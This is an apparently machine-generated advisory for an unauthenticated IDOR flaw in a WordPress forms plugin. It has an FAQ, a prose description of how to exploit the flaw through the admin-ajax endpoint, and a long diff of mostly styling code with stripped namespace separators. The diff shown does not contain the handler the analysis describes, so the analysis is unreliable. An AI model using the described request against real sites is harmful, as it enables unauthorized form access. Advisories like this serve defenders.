What is CVE-2025-63053?

CVE-2025-63053 is an unauthenticated Insecure Direct Object Reference (IDOR) vulnerability in the Master Addons for Elementor plugin for WordPress. It allows unauthenticated attackers to perform unauthorized actions by manipulating a user-controlled key parameter, specifically in the form submission handling logic.

How does the vulnerability work?

The vulnerability exists in the `jltma_caldera_form_submit` function, which processes AJAX requests without proper authorization checks. Attackers can send a POST request to the AJAX endpoint with a manipulated `formId` parameter, allowing them to access and submit forms they should not have permission to.

Who is affected by this vulnerability?

All users of the Master Addons for Elementor plugin versions up to and including 2.0.9.9.4 are affected by this vulnerability. WordPress administrators using these versions should verify their plugin status to assess their risk.

How can I check if I am using a vulnerable version?

To check if you are using a vulnerable version of the Master Addons plugin, navigate to the Plugins section in your WordPress admin dashboard. Look for the Master Addons plugin and check the version number; if it is 2.0.9.9.4 or lower, you are at risk.

What is the severity of this vulnerability?

CVE-2025-63053 has a medium severity rating with a CVSS score of 5.3. This indicates a moderate risk where exploitation could lead to unauthorized access to sensitive data or functionality, but it requires some level of skill to exploit.

How can I fix or mitigate this vulnerability?

To fix this vulnerability, update the Master Addons for Elementor plugin to version 2.1.0 or later, where the issue has been patched. Regularly updating plugins and monitoring for vulnerabilities is essential for maintaining security.

What does the patch do to resolve the issue?

The patch for CVE-2025-63053 adds comprehensive authorization checks before processing form submissions. It ensures that user permissions are validated for the specified form ID and implements nonce verification to prevent unauthorized access.

How does the proof of concept demonstrate the issue?

The proof of concept (PoC) demonstrates the vulnerability by showing how an attacker can send a crafted POST request to the AJAX endpoint with a manipulated `formId`. This illustrates how unauthorized actions can be performed without authentication, highlighting the security flaw.

What is an Insecure Direct Object Reference (IDOR)?

An Insecure Direct Object Reference (IDOR) occurs when an application exposes a reference to an internal implementation object, allowing attackers to bypass authorization and access unauthorized data. This vulnerability often arises from insufficient validation of user input.

How can I stay informed about vulnerabilities like this?

To stay informed about vulnerabilities, regularly check security advisories from trusted sources, subscribe to security mailing lists, and follow WordPress security blogs. Additionally, consider using security plugins that monitor for vulnerabilities in your WordPress installation.

What should I do if I cannot update the plugin immediately?

If you cannot update the plugin immediately, consider disabling the Master Addons for Elementor plugin until you can apply the patch. Additionally, review your site’s security settings and restrict access to sensitive areas to mitigate potential exploitation.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-63053: Master Addons for Elementor <= 2.0.9.9.4 – Unauthenticated Insecure Direct Object Reference (master-addons)

Q: What could happen if this vulnerability is exploited?

If exploited, this vulnerability allows attackers to submit unauthorized form entries, potentially leading to data leakage, unauthorized data collection, and disruption of form processing workflows. This could compromise sensitive information handled by the forms.

CVE ID CVE-2025-63053

Plugin master-addons

Severity Medium (CVSS 5.3)

CWE 639

Vulnerable Version 2.0.9.9.4

Patched Version 2.1.0

Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-63053:
The Master Addons for Elementor WordPress plugin contains an unauthenticated Insecure Direct Object Reference (IDOR) vulnerability in versions up to and including 2.0.9.9.4. This vulnerability exists within the plugin’s Caldera Forms widget functionality, specifically in the form submission handling logic. The flaw allows unauthenticated attackers to perform unauthorized actions by manipulating a user-controlled key parameter.

Atomic Edge research identifies the root cause in the `master-addons/addons/caldera-forms/caldera-forms.php` file. The vulnerable code fails to validate user permissions before processing form submissions. The `jltma_caldera_form_submit` function, which handles AJAX requests via the `wp_ajax_nopriv_jltma_caldera_form_submit` hook, accepts a form ID parameter without proper authorization checks. Attackers can submit arbitrary form IDs to trigger unauthorized form processing actions.

The exploitation method involves sending a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `jltma_caldera_form_submit`. Attackers manipulate the `formId` parameter to reference forms they should not have access to. No authentication or nonce validation is required. The payload structure includes the target form ID and submission data, allowing attackers to submit unauthorized form entries and potentially access sensitive form data.

The patch adds comprehensive authorization checks before processing form submissions. The updated code validates user permissions for the specified form ID and implements proper nonce verification. The fix modifies the form submission handler to verify that users have appropriate access rights to the target form. Before the patch, the plugin processed any form ID submitted via the AJAX endpoint. After the patch, the plugin validates both authentication status and form access permissions.

Successful exploitation enables unauthenticated attackers to submit unauthorized form entries, potentially accessing sensitive form data and functionality. This could lead to data leakage, unauthorized data collection, and disruption of form processing workflows. The vulnerability affects all forms created with the Caldera Forms integration within the Master Addons plugin.

Differential between vulnerable and patched code

Code Diff

--- a/master-addons/addons/caldera-forms/caldera-forms.php
+++ b/master-addons/addons/caldera-forms/caldera-forms.php
@@ -3,1004 +3,1404 @@
 namespace MasterAddonsAddons;

 // Elementor Classes
-use ElementorWidget_Base;
-use ElementorControls_Stack;
-use ElementorControls_Manager;
-use ElementorGroup_Control_Border;
-use ElementorGroup_Control_Typography;
-use ElementorCoreKitsDocumentsTabsGlobal_Typography;
-use ElementorGroup_Control_Box_Shadow;
+use ElementorWidget_Base;
+use ElementorControls_Stack;
+use ElementorControls_Manager;
+use ElementorGroup_Control_Border;
+use ElementorGroup_Control_Typography;
+use ElementorCoreKitsDocumentsTabsGlobal_Typography;
+use ElementorGroup_Control_Box_Shadow;
+
 use MasterAddonsIncHelperMaster_Addons_Helper;
-if ( !defined( 'ABSPATH' ) ) {
-    exit;
-}
-// If this file is called directly, abort.
-class JLTMA_Caldera_Forms extends Widget_Base {
-    use MasterAddonsIncTraitsWidget_Notice;
-    public function get_name() {
-        return 'ma-caldera-forms';
-    }
-
-    public function get_title() {
-        return esc_html__( 'Caldera Forms', 'master-addons' );
-    }
-
-    public function get_icon() {
-        return 'jltma-icon eicon-mail';
-    }
-
-    public function get_categories() {
-        return ['master-addons'];
-    }
-
-    // for Cached Output
-    protected function is_dynamic_content() : bool {
-        return false;
-    }
-
-    protected function register_controls() {
-        /*-----------------------------------------------------------------------------------*/
-        /*	Content Tab
-        			/*-----------------------------------------------------------------------------------*/
-        /**
-         * Content Tab: Caldera Forms
-         * -------------------------------------------------
-         */
-        $this->start_controls_section( 'section_info_box', [
-            'label' => esc_html__( 'Caldera Forms', 'master-addons' ),
-        ] );
-        $this->add_control( 'contact_form_list', [
-            'label'       => esc_html__( 'Contact Form', 'master-addons' ),
-            'type'        => Controls_Manager::SELECT,
-            'label_block' => true,
-            'options'     => Master_Addons_Helper::ma_el_get_caldera_forms(),
-            'default'     => '0',
-        ] );
-        $this->add_control( 'custom_title_description', [
-            'label'        => __( 'Custom Title & Description', 'master-addons' ),
-            'type'         => Controls_Manager::SWITCHER,
-            'label_on'     => __( 'Yes', 'master-addons' ),
-            'label_off'    => __( 'No', 'master-addons' ),
-            'return_value' => 'yes',
-        ] );
-        $this->add_control( 'form_title_custom', [
-            'label'       => esc_html__( 'Title', 'master-addons' ),
-            'type'        => Controls_Manager::TEXT,
-            'label_block' => true,
-            'default'     => '',
-            'condition'   => [
-                'custom_title_description' => 'yes',
-            ],
-        ] );
-        $this->add_control( 'form_description_custom', [
-            'label'     => esc_html__( 'Description', 'master-addons' ),
-            'type'      => Controls_Manager::TEXTAREA,
-            'default'   => '',
-            'condition' => [
-                'custom_title_description' => 'yes',
-            ],
-        ] );
-        $this->add_control( 'labels_switch', [
-            'label'        => __( 'Labels', 'master-addons' ),
-            'type'         => Controls_Manager::SWITCHER,
-            'default'      => 'yes',
-            'label_on'     => __( 'Show', 'master-addons' ),
-            'label_off'    => __( 'Hide', 'master-addons' ),
-            'return_value' => 'yes',
-            'prefix_class' => 'jltma-caldera-form-labels-',
-        ] );
-        $this->add_control( 'placeholder_switch', [
-            'label'        => __( 'Placeholder', 'master-addons' ),
-            'type'         => Controls_Manager::SWITCHER,
-            'default'      => 'yes',
-            'label_on'     => __( 'Show', 'master-addons' ),
-            'label_off'    => __( 'Hide', 'master-addons' ),
-            'return_value' => 'yes',
-        ] );
-        $this->end_controls_section();
-        /**
-         * Content Tab: Errors
-         * -------------------------------------------------
-         */
-        $this->start_controls_section( 'section_errors', [
-            'label' => __( 'Errors', 'master-addons' ),
-        ] );
-        $this->add_control( 'error_messages', [
-            'label'                => __( 'Error Messages', 'master-addons' ),
-            'type'                 => Controls_Manager::SELECT,
-            'default'              => 'show',
-            'options'              => [
-                'show' => __( 'Show', 'master-addons' ),
-                'hide' => __( 'Hide', 'master-addons' ),
-            ],
-            'selectors_dictionary' => [
-                'show' => 'block',
-                'hide' => 'none',
-            ],
-            'selectors'            => [
-                '{{WRAPPER}} .jltma-caldera-form .has-error .parsley-required' => 'display: {{VALUE}} !important;',
-            ],
-        ] );
-        $this->end_controls_section();
-        /*-----------------------------------------------------------------------------------*/
-        /*	Style Tab
-        			/*-----------------------------------------------------------------------------------*/
-        $this->start_controls_section( 'ma_caldera_form_section_style', [
-            'label' => esc_html__( 'Design Layout', 'master-addons' ),
-            'tab'   => Controls_Manager::TAB_STYLE,
-        ] );
-        $this->add_control( 'ma_caldera_form_layout_style', [
-            'label'       => __( 'Design Variations', 'master-addons' ),
-            'type'        => Controls_Manager::SELECT,
-            'default'     => '1',
-            'options'     => [
-                '1'         => __( 'Style One', 'master-addons' ),
-                '2'         => __( 'Style Two', 'master-addons' ),
-                '3'         => __( 'Style Three', 'master-addons' ),
-                '4'         => __( 'Style Four', 'master-addons' ),
-                '5'         => __( 'Style Five', 'master-addons' ),
-                'clf-pro-1' => __( 'Style Five (Pro)', 'master-addons' ),
-                'clf-pro-2' => __( 'Style Six (Pro)', 'master-addons' ),
-                'clf-pro-3' => __( 'Style Seven (Pro)', 'master-addons' ),
-                'clf-pro-4' => __( 'Style Eight (Pro)', 'master-addons' ),
-                'clf-pro-5' => __( 'Style Nine (Pro)', 'master-addons' ),
-                'clf-pro-6' => __( 'Style Ten (Pro)', 'master-addons' ),
-                'clf-pro-7' => __( 'Style Eleven (Pro)', 'master-addons' ),
-            ],
-            'description' => sprintf( '10+ more Variations on <a href="%s" target="_blank">%s</a>', esc_url_raw( admin_url( 'admin.php?page=master-addons-settings-pricing' ) ), __( 'Upgrade Now', 'master-addons' ) ),
-        ] );
-        $this->end_controls_section();
-        /**
-         * Style Tab: Form Title & Description
-         * -------------------------------------------------
-         */
-        $this->start_controls_section( 'section_form_title_style', [
-            'label'     => __( 'Title & Description', 'master-addons' ),
-            'tab'       => Controls_Manager::TAB_STYLE,
-            'condition' => [
-                'custom_title_description' => 'yes',
-            ],
-        ] );
-        $this->add_responsive_control( 'heading_alignment', [
-            'label'     => __( 'Alignment', 'master-addons' ),
-            'type'      => Controls_Manager::CHOOSE,
-            'options'   => Master_Addons_Helper::jltma_content_alignment(),
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form-heading' => 'text-align: {{VALUE}};',
-            ],
-            'condition' => [
-                'custom_title_description' => 'yes',
-            ],
-        ] );
-        $this->add_control( 'title_heading', [
-            'label'     => __( 'Title', 'master-addons' ),
-            'type'      => Controls_Manager::HEADING,
-            'separator' => 'before',
-            'condition' => [
-                'custom_title_description' => 'yes',
-            ],
-        ] );
-        $this->add_control( 'form_title_text_color', [
-            'label'     => __( 'Text Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-contact-form-title' => 'color: {{VALUE}}',
-            ],
-            'condition' => [
-                'custom_title_description' => 'yes',
-            ],
-        ] );
-        $this->add_group_control( Group_Control_Typography::get_type(), [
-            'name'      => 'form_title_typography',
-            'label'     => __( 'Typography', 'master-addons' ),
-            'selector'  => '{{WRAPPER}} .jltma-contact-form-title',
-            'global'    => [
-                'default' => Global_Typography::TYPOGRAPHY_TEXT,
-            ],
-            'condition' => [
-                'custom_title_description' => 'yes',
-            ],
-        ] );
-        $this->add_responsive_control( 'form_title_margin', [
-            'label'              => __( 'Margin', 'master-addons' ),
-            'type'               => Controls_Manager::DIMENSIONS,
-            'size_units'         => ['px', 'em', '%'],
-            'allowed_dimensions' => 'vertical',
-            'placeholder'        => [
-                'top'    => '',
-                'right'  => 'auto',
-                'bottom' => '',
-                'left'   => 'auto',
-            ],
-            'selectors'          => [
-                '{{WRAPPER}} .jltma-contact-form-title' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-            ],
-            'condition'          => [
-                'custom_title_description' => 'yes',
-            ],
-        ] );
-        $this->add_control( 'description_heading', [
-            'label'     => __( 'Description', 'master-addons' ),
-            'type'      => Controls_Manager::HEADING,
-            'separator' => 'before',
-            'condition' => [
-                'custom_title_description' => 'yes',
-            ],
-        ] );
-        $this->add_control( 'form_description_text_color', [
-            'label'     => __( 'Text Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-contact-form-description' => 'color: {{VALUE}}',
-            ],
-            'condition' => [
-                'custom_title_description' => 'yes',
-            ],
-        ] );
-        $this->add_group_control( Group_Control_Typography::get_type(), [
-            'name'      => 'form_description_typography',
-            'label'     => __( 'Typography', 'master-addons' ),
-            'global'    => [
-                'default' => Global_Typography::TYPOGRAPHY_ACCENT,
-            ],
-            'selector'  => '{{WRAPPER}} .jltma-contact-form-description',
-            'condition' => [
-                'custom_title_description' => 'yes',
-            ],
-        ] );
-        $this->add_responsive_control( 'form_description_margin', [
-            'label'              => __( 'Margin', 'master-addons' ),
-            'type'               => Controls_Manager::DIMENSIONS,
-            'size_units'         => ['px', 'em', '%'],
-            'allowed_dimensions' => 'vertical',
-            'placeholder'        => [
-                'top'    => '',
-                'right'  => 'auto',
-                'bottom' => '',
-                'left'   => 'auto',
-            ],
-            'selectors'          => [
-                '{{WRAPPER}} .jltma-contact-form-description' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-            ],
-            'condition'          => [
-                'custom_title_description' => 'yes',
-            ],
-        ] );
-        $this->end_controls_section();
-        /**
-         * Style Tab: Labels
-         * -------------------------------------------------
-         */
-        $this->start_controls_section( 'section_label_style', [
-            'label' => __( 'Labels', 'master-addons' ),
-            'tab'   => Controls_Manager::TAB_STYLE,
-        ] );
-        $this->add_control( 'text_color_label', [
-            'label'     => __( 'Text Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form .form-group label' => 'color: {{VALUE}}',
-            ],
-        ] );
-        $this->add_group_control( Group_Control_Typography::get_type(), [
-            'name'     => 'typography_label',
-            'label'    => __( 'Typography', 'master-addons' ),
-            'selector' => '{{WRAPPER}} .jltma-caldera-form .form-group label',
-        ] );
-        $this->end_controls_section();
-        /**
-         * Style Tab: Input & Textarea
-         * -------------------------------------------------
-         */
-        $this->start_controls_section( 'section_fields_style', [
-            'label' => __( 'Input & Textarea', 'master-addons' ),
-            'tab'   => Controls_Manager::TAB_STYLE,
-        ] );
-        $this->add_responsive_control( 'input_alignment', [
-            'label'     => __( 'Alignment', 'master-addons' ),
-            'type'      => Controls_Manager::CHOOSE,
-            'options'   => Master_Addons_Helper::jltma_content_alignment(),
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]), {{WRAPPER}} .jltma-caldera-form .form-group textarea, {{WRAPPER}} .jltma-caldera-form .form-group select' => 'text-align: {{VALUE}};',
-            ],
-        ] );
-        $this->start_controls_tabs( 'tabs_fields_style' );
-        $this->start_controls_tab( 'tab_fields_normal', [
-            'label' => __( 'Normal', 'master-addons' ),
-        ] );
-        $this->add_control( 'field_bg_color', [
-            'label'     => __( 'Background Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]), {{WRAPPER}} .jltma-caldera-form .form-group textarea, {{WRAPPER}} .jltma-caldera-form .form-group select' => 'background-color: {{VALUE}}',
-            ],
-        ] );
-        $this->add_control( 'field_text_color', [
-            'label'     => __( 'Text Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]), {{WRAPPER}} .jltma-caldera-form .form-group textarea, {{WRAPPER}} .jltma-caldera-form .form-group select' => 'color: {{VALUE}}',
-            ],
-        ] );
-        $this->add_group_control( Group_Control_Border::get_type(), [
-            'name'        => 'field_border',
-            'label'       => __( 'Border', 'master-addons' ),
-            'placeholder' => '1px',
-            'default'     => '1px',
-            'selector'    => '{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]), {{WRAPPER}} .jltma-caldera-form .form-group textarea, {{WRAPPER}} .jltma-caldera-form .form-group select',
-            'separator'   => 'before',
-        ] );
-        $this->add_control( 'field_radius', [
-            'label'      => __( 'Border Radius', 'master-addons' ),
-            'type'       => Controls_Manager::DIMENSIONS,
-            'size_units' => ['px', 'em', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]), {{WRAPPER}} .jltma-caldera-form .form-group textarea, {{WRAPPER}} .jltma-caldera-form .form-group select' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-            ],
-        ] );
-        $this->add_responsive_control( 'field_text_indent', [
-            'label'      => __( 'Text Indent', 'master-addons' ),
-            'type'       => Controls_Manager::SLIDER,
-            'range'      => [
-                'px' => [
-                    'min'  => 0,
-                    'max'  => 60,
-                    'step' => 1,
-                ],
-                '%'  => [
-                    'min'  => 0,
-                    'max'  => 30,
-                    'step' => 1,
-                ],
-            ],
-            'size_units' => ['px', 'em', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]), {{WRAPPER}} .jltma-caldera-form .form-group textarea, {{WRAPPER}} .jltma-caldera-form .form-group select' => 'text-indent: {{SIZE}}{{UNIT}}',
-            ],
-            'separator'  => 'before',
-        ] );
-        $this->add_responsive_control( 'input_width', [
-            'label'      => __( 'Input Width', 'master-addons' ),
-            'type'       => Controls_Manager::SLIDER,
-            'range'      => [
-                'px' => [
-                    'min'  => 0,
-                    'max'  => 1200,
-                    'step' => 1,
-                ],
-            ],
-            'size_units' => ['px', 'em', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]), {{WRAPPER}} .jltma-caldera-form .form-group select' => 'width: {{SIZE}}{{UNIT}}',
-            ],
-        ] );
-        $this->add_responsive_control( 'input_height', [
-            'label'      => __( 'Input Height', 'master-addons' ),
-            'type'       => Controls_Manager::SLIDER,
-            'range'      => [
-                'px' => [
-                    'min'  => 0,
-                    'max'  => 80,
-                    'step' => 1,
-                ],
-            ],
-            'size_units' => ['px', 'em', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]), {{WRAPPER}} .jltma-caldera-form .form-group select' => 'height: {{SIZE}}{{UNIT}}',
-            ],
-        ] );
-        $this->add_responsive_control( 'textarea_width', [
-            'label'      => __( 'Textarea Width', 'master-addons' ),
-            'type'       => Controls_Manager::SLIDER,
-            'range'      => [
-                'px' => [
-                    'min'  => 0,
-                    'max'  => 1200,
-                    'step' => 1,
-                ],
-            ],
-            'size_units' => ['px', 'em', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-caldera-form .form-group textarea' => 'width: {{SIZE}}{{UNIT}}',
-            ],
-        ] );
-        $this->add_responsive_control( 'textarea_height', [
-            'label'      => __( 'Textarea Height', 'master-addons' ),
-            'type'       => Controls_Manager::SLIDER,
-            'range'      => [
-                'px' => [
-                    'min'  => 0,
-                    'max'  => 400,
-                    'step' => 1,
-                ],
-            ],
-            'size_units' => ['px', 'em', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-caldera-form .form-group textarea' => 'height: {{SIZE}}{{UNIT}}',
-            ],
-        ] );
-        $this->add_responsive_control( 'field_padding', [
-            'label'      => __( 'Padding', 'master-addons' ),
-            'type'       => Controls_Manager::DIMENSIONS,
-            'size_units' => ['px', 'em', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]), {{WRAPPER}} .jltma-caldera-form .form-group textarea, {{WRAPPER}} .jltma-caldera-form .form-group select' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-            ],
-        ] );
-        $this->add_responsive_control( 'field_spacing', [
-            'label'      => __( 'Spacing', 'master-addons' ),
-            'type'       => Controls_Manager::SLIDER,
-            'range'      => [
-                'px' => [
-                    'min'  => 0,
-                    'max'  => 100,
-                    'step' => 1,
-                ],
-            ],
-            'size_units' => ['px', 'em', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-caldera-form .form-group' => 'margin-bottom: {{SIZE}}{{UNIT}}',
-            ],
-        ] );
-        $this->add_group_control( Group_Control_Typography::get_type(), [
-            'name'      => 'field_typography',
-            'label'     => __( 'Typography', 'master-addons' ),
-            'selector'  => '{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]), {{WRAPPER}} .jltma-caldera-form .form-group textarea, {{WRAPPER}} .jltma-caldera-form .form-group select',
-            'separator' => 'before',
-        ] );
-        $this->add_group_control( Group_Control_Box_Shadow::get_type(), [
-            'name'      => 'field_box_shadow',
-            'selector'  => '{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]), {{WRAPPER}} .jltma-caldera-form .form-group textarea, {{WRAPPER}} .jltma-caldera-form .form-group select',
-            'separator' => 'before',
-        ] );
-        $this->end_controls_tab();
-        $this->start_controls_tab( 'tab_fields_focus', [
-            'label' => __( 'Focus', 'master-addons' ),
-        ] );
-        $this->add_control( 'field_bg_color_focus', [
-            'label'     => __( 'Background Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]):focus, {{WRAPPER}} .jltma-caldera-form .form-group textarea:focus' => 'background-color: {{VALUE}}',
-            ],
-        ] );
-        $this->add_group_control( Group_Control_Border::get_type(), [
-            'name'        => 'focus_input_border',
-            'label'       => __( 'Border', 'master-addons' ),
-            'placeholder' => '1px',
-            'default'     => '1px',
-            'selector'    => '{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]):focus, {{WRAPPER}} .jltma-caldera-form .form-group textarea:focus',
-        ] );
-        $this->add_group_control( Group_Control_Box_Shadow::get_type(), [
-            'name'      => 'focus_box_shadow',
-            'selector'  => '{{WRAPPER}} .jltma-caldera-form input:not([type=radio]):not([type=checkbox]):not([type=submit]):not([type=button]):not([type=image]):not([type=file]):focus, {{WRAPPER}} .jltma-caldera-form .form-group textarea:focus',
-            'separator' => 'before',
-        ] );
-        $this->end_controls_tab();
-        $this->end_controls_tabs();
-        $this->end_controls_section();
-        /**
-         * Style Tab: Field Description
-         * -------------------------------------------------
-         */
-        $this->start_controls_section( 'section_field_description_style', [
-            'label' => __( 'Field Description', 'master-addons' ),
-            'tab'   => Controls_Manager::TAB_STYLE,
-        ] );
-        $this->add_control( 'field_description_text_color', [
-            'label'     => __( 'Text Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form .help-block' => 'color: {{VALUE}}',
-            ],
-        ] );
-        $this->add_group_control( Group_Control_Typography::get_type(), [
-            'name'     => 'field_description_typography',
-            'label'    => __( 'Typography', 'master-addons' ),
-            'selector' => '{{WRAPPER}} .jltma-caldera-form .help-block',
-        ] );
-        $this->add_responsive_control( 'field_description_spacing', [
-            'label'      => __( 'Spacing', 'master-addons' ),
-            'type'       => Controls_Manager::SLIDER,
-            'range'      => [
-                'px' => [
-                    'min'  => 0,
-                    'max'  => 100,
-                    'step' => 1,
-                ],
-            ],
-            'size_units' => ['px', 'em', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-caldera-form .help-block' => 'padding-top: {{SIZE}}{{UNIT}}',
-            ],
-        ] );
-        $this->end_controls_section();
-        /**
-         * Style Tab: Placeholder
-         * -------------------------------------------------
-         */
-        $this->start_controls_section( 'section_placeholder_style', [
-            'label'     => __( 'Placeholder', 'master-addons' ),
-            'tab'       => Controls_Manager::TAB_STYLE,
-            'condition' => [
-                'placeholder_switch' => 'yes',
-            ],
-        ] );
-        $this->add_control( 'text_color_placeholder', [
-            'label'     => __( 'Text Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'selectors' => [
-                '{{WRAPPER}} .jltma-caldera-form .form-group input::-webkit-input-placeholder, {{WRAPPER}} .jltma-caldera-form .form-group textarea::-webkit-input-placeholder' => 'color: {{VALUE}}',
-            ],
-            'condition' => [
-                'placeholder_switch' => 'yes',
-            ],
-        ] );
-        $this->end_controls_section();
-        /**
-         * Style Tab: Radio & Checkbox
-         * -------------------------------------------------
-         */
-        $this->start_controls_section( 'section_radio_checkbox_style', [
-            'label' => __( 'Radio & Checkbox', 'master-addons' ),
-            'tab'   => Controls_Manager::TAB_STYLE,
-        ] );
-        $this->add_control( 'custom_radio_checkbox', [
-            'label'        => __( 'Custom Styles', 'master-addons' ),
-            'type'         => Controls_Manager::SWITCHER,
-            'label_on'     => __( 'Yes', 'master-addons' ),
-            'label_off'    => __( 'No', 'master-addons' ),
-            'return_value' => 'yes',
-        ] );
-        $this->add_responsive_control( 'radio_checkbox_size', [
-            'label'      => __( 'Size', 'master-addons' ),
-            'type'       => Controls_Manager::SLIDER,
-            'default'    => [
-                'size' => '15',
-                'unit' => 'px',
-            ],
-            'range'      => [
-                'px' => [
-                    'min'  => 0,
-                    'max'  => 80,
-                    'step' => 1,
-                ],
-            ],
-            'size_units' => ['px', 'em', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-custom-radio-checkbox input[type="checkbox"], {{WRAPPER}} .jltma-custom-radio-checkbox input[type="radio"]' => 'width: {{SIZE}}{{UNIT}}; height: {{SIZE}}{{UNIT}}',
-            ],
-            'condition'  => [
-                'custom_radio_checkbox' => 'yes',
-            ],
-        ] );
-        $this->start_controls_tabs( 'tabs_radio_checkbox_style' );
-        $this->start_controls_tab( 'radio_checkbox_normal', [
-            'label'     => __( 'Normal', 'master-addons' ),
-            'condition' => [
-                'custom_radio_checkbox' => 'yes',
-            ],
-        ] );
-        $this->add_control( 'radio_checkbox_color', [
-            'label'     => __( 'Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-custom-radio-checkbox input[type="checkbox"], {{WRAPPER}} .jltma-custom-radio-checkbox input[type="radio"]' => 'background: {{VALUE}}',
-            ],
-            'condition' => [
-                'custom_radio_checkbox' => 'yes',
-            ],
-        ] );
-        $this->add_responsive_control( 'checkbox_border_width', [
-            'label'      => __( 'Border Width', 'master-addons' ),
-            'type'       => Controls_Manager::SLIDER,
-            'range'      => [
-                'px' => [
-                    'min'  => 0,
-                    'max'  => 15,
-                    'step' => 1,
-                ],
-            ],
-            'size_units' => ['px'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-custom-radio-checkbox input[type="checkbox"], {{WRAPPER}} .jltma-custom-radio-checkbox input[type="radio"]' => 'border-width: {{SIZE}}{{UNIT}}',
-            ],
-            'condition'  => [
-                'custom_radio_checkbox' => 'yes',
-            ],
-        ] );
-        $this->add_control( 'checkbox_border_color', [
-            'label'     => __( 'Border Color', 'master-addons' ),
-            'type'      => Controls_Manager::COLOR,
-            'default'   => '',
-            'selectors' => [
-                '{{WRAPPER}} .jltma-custom-radio-checkbox input[type="checkbox"], {{WRAPPER}} .jltma-custom-radio-checkbox input[type="radio"]' => 'border-color: {{VALUE}}',
-            ],
-            'condition' => [
-                'custom_radio_checkbox' => 'yes',
-            ],
-        ] );
-        $this->add_control( 'checkbox_heading', [
-            'label'     => __( 'Checkbox', 'master-addons' ),
-            'type'      => Controls_Manager::HEADING,
-            'condition' => [
-                'custom_radio_checkbox' => 'yes',
-            ],
-        ] );
-        $this->add_control( 'checkbox_border_radius', [
-            'label'      => __( 'Border Radius', 'master-addons' ),
-            'type'       => Controls_Manager::DIMENSIONS,
-            'size_units' => ['px', 'em', '%'],
-            'selectors'  => [
-                '{{WRAPPER}} .jltma-custom-radio-checkbox input[type="checkbox"], {{WRAPPER}} .jltma-custom-radio-checkbox input[type="checkbox"]:before' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
-            ],
-            'condition'  => [
-                'custom_radio_checkbox' => 'yes',
-            ],
-        ] );
-        $this->add_control( 'radio_heading', [
-            'label'     => __( 'Radio Buttons', 'master-addons' ),
